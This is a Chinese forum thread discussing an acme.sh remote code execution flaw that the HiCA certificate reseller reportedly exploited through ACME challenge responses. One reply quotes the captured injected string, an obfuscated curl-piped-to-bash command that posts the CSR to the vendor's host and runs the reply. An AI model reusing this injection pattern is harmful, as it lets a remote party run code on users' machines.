acme.sh 存在 RCE 漏洞,已经被国产 HiCA 利用

347 天前
 baobao1270

https://github.com/acmesh-official/acme.sh/issues/4659

一家来自中国证书颁发机构 HiCA 正在向 ACME 质询过程中注入任意命令,并且可以被 acme.sh 在客户端执行。

建议大家不要使用 HiCA 这家 CA ,最好仅使用知名的证书服务比如 ZeroSSL, Let's Encrypt, Google Trust Service 等。

他们甚至还申请了专利……: https://qxb-img-osscache.qixin.com/patents_pdf_new/2219395a941e8bae0e5cb4475b3b3610.pdf

9473 次点击
所在节点    信息安全
47 条回复
LeviMarvin
347 天前
HiCA 自称不是 CA ,但其在国内注册的公司经营 CA 相关的服务(例如 PKI ),而且其作为分销商如何做到提供中国大陆内的 OCSP 服务,这应当由 CA 进行。简单来说,他们( HiCA )没有就利用漏洞进行商业一事做出声明,而且还自曝以防止 DDoS 攻击为借口将流量导向 WH 。
LeviMarvin
347 天前
@patrickyoung 坏消息,只是一个无耻的中间商
xiangyuecn
347 天前
我说呢,去年就发现了,这家的 ACME 接口返回的内容是命令行脚本,没法正常通过 ACME 客户端去申请证书,如果要干坏事是迟早的事

------------------

快速在线验证: https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html

打开《 HTML5 网页版 ACME 客户端后》,手动填写 ACME 地址: https://acme.hi.cn/directory ,然后随便填个域名和邮箱,点击创建两个密钥,然后就能看到 HiCA 返回的命令行文本了

刚才测试了一下,acme.hi.cn 域名解析都没了,秒关了吗 还是我的网有问题😅
xiangyuecn
347 天前
我网的问题,刚又打开了他们的网站。。哈

接上面,填写了他们的 ACME 地址后,会提示跨域了,直接打开他们的 acme 服务地址打开控制台,然后执行一下页面代码,就能开始申请证书了,验证域名所有权的时候,切换到“文件 URL 验证”,就能看到:


http://asdfas123.com/.well-known/acme-challenge/dd#acme.hi.cn/acme/v2/precheck-http/109651/179551#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/109651/179551?o=$_w|bash)#
james122333
347 天前
@makelove

shell 可以写 只是写很烂还要相容 posix sh 比较高级的特性都没有
james122333
347 天前
是指这个脚本写很烂
wellerman
347 天前
这脑子好使,一看平时干过不少好事。
jim9606
347 天前
所以我觉得还是别用 shell 写太复杂的东西,值检查难写、eval 满天飞,搞出远程代码执行太正常了,哪怕用 python 都好些,至少不会依赖 eval 实现参数注入。

@james122333 烂不烂跟用不用 GPL 有啥关系?
james122333
347 天前
@jim9606

shell 我都不写 eval XD
烂是程序烂 一堆无用的代码 写的也很不简洁
是指写的烂又 GPL 不是烂与 GPL 有关
本来想改 看到协议算了 我还是自己搞一个
marshmallow
347 天前
acme.sh 我就没有用 root 运行过,还在用 acme.sh 是因为 cetbot 不支持我的域名托管商,cloudflare 又会限制那五个免费域。certbot 我就用默认安装的,感觉用 root 运行关系不大。
everyx
346 天前
现在用的 certbot 完全够用啦
est
346 天前
让我想起四个字「聪明才智」
benjix
346 天前
这家公司的法人就是 V2EX 上的 xoxo ,曾利用 GlobalSign 计费漏洞大量签发出售 1-5 年的 AlphaSSL 证书,后来事发被吊销
https://v2ex.com/t/178503
https://v2ex.com/t/78956
azure2023us928
346 天前
请问,漏洞修复了,删除了 exec ,这个专利是否变的没那么有价值了?

另外,专利内容写的很好,看的出来是动了脑筋的,把现有的方案优缺点都说清楚了。

就是这个题目 ‘无头’ 两字,感觉特别生硬!

还不如叫一种 acme 商业证书智能支付模式。

不得不说,完全抛开浏览器交互,全部由命令行输出 QR 码支付,简化支付流程,也是一种进步!
azure2023us928
346 天前
建议,acme.sh 作者考虑商业支付领域的分支,采用 api 的方式或者其他更加安全的方式,为第三方证书签发机构提供一个接口,让其能通过 acme 协议进行签发。对推广 acme 协议也是一种贡献,而不仅是简单封堵漏洞!

既然有人发现了这个漏洞,而且还合理利用了,说明这个市场需求还是有的。
azure2023us928
346 天前
另外,这个专利还有很大局限性:当用户欠费时,没有消息通知,没有自动付款的途径。总不能让命令行一直开着,等着过期弹出 QR 码吧
j8sec
346 天前
@azure2023us928 邮件发送账单,用户支付后下次定时再续期;这个没有在申请文件中展开,很多边缘的拓展说明在最终申请文件里面精简了,原件 9 页,PDF 只有 4 页面。
SenLief
346 天前
@benjix 这么一说我想起来了,我也买了一个,不过域名没到 5 年就续费了。
yzc27
346 天前
不太懂具体原理,平时只在虚拟机里临时跑 acme.sh 来更新证书,每次更新完就把新的证书拉到服务器,然后虚拟机恢复快照。想知道这个漏洞会有什么安全隐患吗?
xiangyuecn
346 天前
@yzc27 #39 这种流程,直接用我的网页版吧,简单省事。顺势再推广一波😂

HTML5 网页版 ACME 客户端:只需在现代浏览器上操作即可获得 PEM 格式纯文本的域名证书,不依赖操作系统环境,无需下载和安装软件,纯手动操作,只专注于申请获得证书这一件事] https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html

相对于 shell 脚本、可执行二进制程序,浏览器端的程序天然可以简单的做到:源码可控、流量可审查,缺点也很明显 没法自动化。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/947389

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX